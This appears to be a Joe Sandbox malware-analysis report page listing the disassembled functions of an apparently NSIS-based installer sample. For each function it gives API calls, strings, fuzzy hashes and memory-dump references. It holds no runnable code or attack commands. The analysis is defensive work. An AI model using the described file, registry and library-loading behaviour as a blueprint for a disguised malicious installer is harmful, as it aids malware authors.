Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\ZoRLXzC5qF.exe"$C:\Users\user\AppData\Local\Temp\$\*.*$pB
API String ID: 2035342205-3682555933
Opcode ID: 8ddda18a5e03c3094d99475b595a137c5d28125fbada97bd0876376ed00bff5b
Instruction ID: 26a84cf893ecfac7fe2d2a8ab9ced37764d13583991ceadb599b2dfedf858990
Opcode Fuzzy Hash: 8ddda18a5e03c3094d99475b595a137c5d28125fbada97bd0876376ed00bff5b
Instruction Fuzzy Hash: 8E41B030800A18B6CB21AB65DC4DAAF7778EF42718F10813BF851711D1DB7C4A82DEAE

Function 004068D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00405F97,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00000000,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
FindClose.KERNELBASE(00000000), ref: 004068EB

Strings

C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, xrefs: 004068D4

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp
API String ID: 2295610775-2809226105
Opcode ID: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction ID: 1cf04926a4a3889f6b92b588199f87985a57aa1d1812818edfb9113e4ef6e03f
Opcode Fuzzy Hash: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction Fuzzy Hash: 53D012725162209BC240673CBD0C84B7A58AF253317518A3AF46AF61E0DB348C639699

Function 00403FF7 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404033
ShowWindow.USER32(?), ref: 00404053
GetWindowLongW.USER32(?,000000F0), ref: 00404065
ShowWindow.USER32(?,00000004), ref: 0040407E
DestroyWindow.USER32 ref: 00404092
SetWindowLongW.USER32(?,00000000,00000000), ref: 004040AB
GetDlgItem.USER32(?,?), ref: 004040CA
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040DE
IsWindowEnabled.USER32(00000000), ref: 004040E5
GetDlgItem.USER32(?,?), ref: 00404190
GetDlgItem.USER32(?,00000002), ref: 0040419A
SetClassLongW.USER32(?,000000F2,?), ref: 004041B4
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00404205
GetDlgItem.USER32(?,00000003), ref: 004042AB
ShowWindow.USER32(00000000,?), ref: 004042CC
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004042DE
EnableWindow.USER32(?,?), ref: 004042F9
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 0040430F
EnableMenuItem.USER32(00000000), ref: 00404316
SendMessageW.USER32(?,000000F4,00000000,?), ref: 0040432E
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404341
lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040436B
SetWindowTextW.USER32(?,0042CA68), ref: 0040437F
ShowWindow.USER32(?,0000000A), ref: 004044B3

Strings

<\, xrefs: 004043CD

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: <\
API String ID: 121052019-3512436723
Opcode ID: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
Instruction ID: 8cad316efbf8f9c89f6feec2797fb874042f4abab253e3557332251604c97906
Opcode Fuzzy Hash: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
Instruction Fuzzy Hash: C6C1A1B1500204BBDB206F61EE89E2B3AA8FB85755F01453EF751B51F0CB39A8529B2D

Function 004030A2 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004030B3
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\ZoRLXzC5qF.exe,00000400), ref: 004030CF

Part of subcall function 00406067: GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\ZoRLXzC5qF.exe,80000000,00000003), ref: 0040606B
Part of subcall function 00406067: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 0040608D

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ZoRLXzC5qF.exe,C:\Users\user\Desktop\ZoRLXzC5qF.exe,80000000,00000003), ref: 0040311B
GlobalAlloc.KERNELBASE(00000040,?), ref: 00403251

Strings

Inst, xrefs: 00403187
soft, xrefs: 00403190
"C:\Users\user\Desktop\ZoRLXzC5qF.exe", xrefs: 004030A8
Error launching installer, xrefs: 004030F2
Null, xrefs: 00403199
C:\Users\user\Desktop\ZoRLXzC5qF.exe, xrefs: 004030B9, 004030C8, 004030DC, 004030FC
C:\Users\user\AppData\Local\Temp\, xrefs: 004030A9
C:\Users\user\Desktop, xrefs: 004030FD, 00403102, 00403108
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403278

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\ZoRLXzC5qF.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\ZoRLXzC5qF.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3470629159
Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction ID: 55eb758a8cc994b5b8f5e8324c308f37a69edd03a8198e206d37cac48cd63750
Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction Fuzzy Hash: E9519171900204AFDB209FA5DD86B9E7EACEB09356F20417BF504B62D1C7789F408BAD

Function 004065B4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004066D6
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,?,?,00000000,00000000,00425A20,755723A0), ref: 004066EC
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 0040674A
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406753
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,?,?,00000000,00000000,00425A20,755723A0), ref: 0040677E
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,?,?,00000000,00000000,00425A20,755723A0), ref: 004067D8

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406778
Call, xrefs: 004065E1, 0040669B, 004066A2, 004066A6, 004066BF, 004066C0, 004066D5, 004066EB, 0040671C, 00406748, 0040677D, 00406783, 004067A0, 004067B3, 004067D1, 004067D7, 004067E0, 00406815
Software\Microsoft\Windows\CurrentVersion, xrefs: 004066A7
Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll, xrefs: 004065D8

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-2309308484
Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction ID: fc4c1bf1ff31ba1b34cdfc75387d7881e57296f2874843d1a5ebc397bafcf832
Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction Fuzzy Hash: D16135716042009BD720AF24DD80B6B76E8EF85328F12453FF647B32D0DB7D9961865E

Function 004032D9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403343
GetTickCount.KERNEL32 ref: 004033EA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403413
wsprintfW.USER32 ref: 00403426

Strings

ZB, xrefs: 004033C7, 004033E2, 0040345F
*B, xrefs: 00403304
A, xrefs: 00403399
... %d%%, xrefs: 00403420
A, xrefs: 004034A3

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ ZB$ A$ A$... %d%%
API String ID: 551687249-3856725213
Opcode ID: 4d79547acdf73e44e2915cc23a34bb29038fe19ea0f8e502eb24a445e2a4333a
Instruction ID: 3a086bfa1ae904988031f2e91e2ff9394e13111a018eeb379290de00703e2b75
Opcode Fuzzy Hash: 4d79547acdf73e44e2915cc23a34bb29038fe19ea0f8e502eb24a445e2a4333a
Instruction Fuzzy Hash: 2F519F71900219DBCB11DF65DA44B9E7FB8AF44766F10413BE810BB2D1C7789A40CBA9

Function 00401794 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,?,?,00000031), ref: 004017D5
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,?,?,00000031), ref: 004017FA

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

Part of subcall function 004055FC: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Strings

C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll, xrefs: 0040185A, 00401876
Call, xrefs: 004017B2, 004017BB, 004017C8, 004017DA, 004017E6, 0040181C, 00401832, 00401850, 0040188C, 0040190D, 00401916, 00401920, 0040192B
C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, xrefs: 00401846, 00401864
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 004017C3

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp$C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$Call
API String ID: 1941528284-2491404124
Opcode ID: 92f8b93885e00e2238c8143a7be30e505a2fe7597e0250fcbd3cd8e0f990a4c4
Instruction ID: 896c0c78208a39cbb5dd39340d0745d1a2bf2ace5f7797069eceb710e9101d93
Opcode Fuzzy Hash: 92f8b93885e00e2238c8143a7be30e505a2fe7597e0250fcbd3cd8e0f990a4c4
Instruction Fuzzy Hash: 4C41B671900108BACB117BB5DD85DBE7AB9EF45328F21423FF412B10E2D73C8A919A2D

Function 004055FC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0), ref: 00405657
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll), ref: 00405669
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll, xrefs: 0040561D, 0040562D, 00405633, 00405656, 00405662

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll
API String ID: 2531174081-3068030484
Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction ID: 60923f6e922cea494a698f26c75bee70e53a21f42b4b77269416c2a585f1ce57
Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction Fuzzy Hash: 9A21A171900258BACB119FA5ED449DFBFB4EF45310F50843AF908B22A0C3794A40CFA8

Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040277D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 004027B8
SetFilePointer.KERNELBASE(?,?,?,?,?,00000008,?,?,?,?), ref: 004027DB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 004027F1

Part of subcall function 00406148: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 0040615E

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 0040289D

Strings

9, xrefs: 00402760

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
Instruction ID: d1aefac9689752b6b3ea6a4f87dd4281ecbe68d6f3974aa7f4e2ef829afcd0bd
Opcode Fuzzy Hash: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
Instruction Fuzzy Hash: 66510C75D04119AADF20EFD4CA85AAEBBB9FF44304F14817BE501B62D0D7B89D828B58

Function 004068FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406912
wsprintfW.USER32 ref: 0040694D
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406961

Strings

UXTHEME, xrefs: 00406904
%s%S.dll, xrefs: 00406947

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: 6d7bab0cfc2d48cbbbe6bb2f91b005b1c0391479526b60628745523d5c0137a7
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 66F02B71501129A7CF10AB68DD0EF9F376CAB00304F10447AA646F10E0EB7CDB69CB98

Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F22
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F77
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F8E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F99

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
